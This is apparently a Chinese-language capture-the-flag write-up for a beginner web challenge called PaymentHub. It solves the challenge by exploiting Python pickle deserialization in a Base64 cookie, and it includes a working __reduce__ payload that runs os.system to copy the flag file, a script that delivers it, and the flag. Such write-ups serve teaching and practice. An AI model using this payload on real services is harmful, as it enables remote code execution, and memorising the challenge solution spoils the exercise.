# PaymentHub 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| PaymentHub | 一个现代化的在线支付平台，支持创建订单、查看订单详情等功能。平台采用Cookie机制保存用户的订单信息，确保用户体验流畅。然而，在便利性的背后，可能隐藏着一些安全隐患... | WEB | 1小时 | 入门 | 否 |

## 知识点
1. Python Pickle 反序列化漏洞
2. Base64 编码与解码
3. Cookie 数据传输机制
4. 命令执行与文件读取

## 解题步骤

### Step 1: 信息收集

访问题目网站，发现这是一个支付平台 PaymentHub。

首页提供了创建支付订单的功能，可以输入产品名称和金额。

尝试创建一个测试订单：
- Product Name: TestProduct
- Amount: 99.99

提交后，页面显示"Order Created Successfully!"，并提示订单ID为 #1。

### Step 2: 功能探索

点击"View My Order"链接，访问 `/order` 路径，可以看到刚才创建的订单详情。

使用浏览器开发者工具查看 Cookie，发现有一个名为 `order` 的 Cookie，其值是一串 Base64 编码的字符串：

```
order=gASVXwAAAAAAAAB9lCiMAmls...
```

### Step 3: 分析 Cookie 内容

将 Cookie 值进行 Base64 解码：

```python
import base64
cookie_value = "gASVXwAAAAAAAAB9lCiMAmls..."
decoded = base64.b64decode(cookie_value)
print(decoded)
```

解码后发现这是 Python Pickle 序列化的数据！开头的 `\x80\x04\x95` 是 Pickle 协议的特征标识。

Pickle 是 Python 的对象序列化库，但它存在一个严重的安全问题：**反序列化不可信数据可能导致远程代码执行（RCE）**。

### Step 4: 构造恶意 Pickle 对象

利用 Pickle 的 `__reduce__` 魔术方法，可以在反序列化时执行任意代码。

构造恶意 Pickle 对象的代码：

```python
import pickle
import base64

class RCE:
    def __reduce__(self):
        import os
        return os.system, ('cat /flag > /app/static/flag.txt',)

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
```

这个 payload 会在服务器反序列化时执行命令 `cat /flag > /app/static/flag.txt`，将 flag 写入到静态文件目录。

### Step 5: 发送恶意 Payload

使用 Python requests 库发送带有恶意 Cookie 的请求：

```python
import requests

url = "http://target:port"
cookies = {'order': payload}
r = requests.get(f"{url}/order", cookies=cookies)
```

当服务器处理 `/order` 请求时，会从 Cookie 中读取 `order` 值，进行 Base64 解码后使用 `pickle.loads()` 反序列化，此时我们的恶意代码就会被执行。

### Step 6: 获取 Flag

访问静态文件路径获取 flag：

```python
flag_response = requests.get(f"{url}/static/flag.txt")
print(flag_response.text)
```

成功获取 flag！

## Flag
DASCTF{test12345}

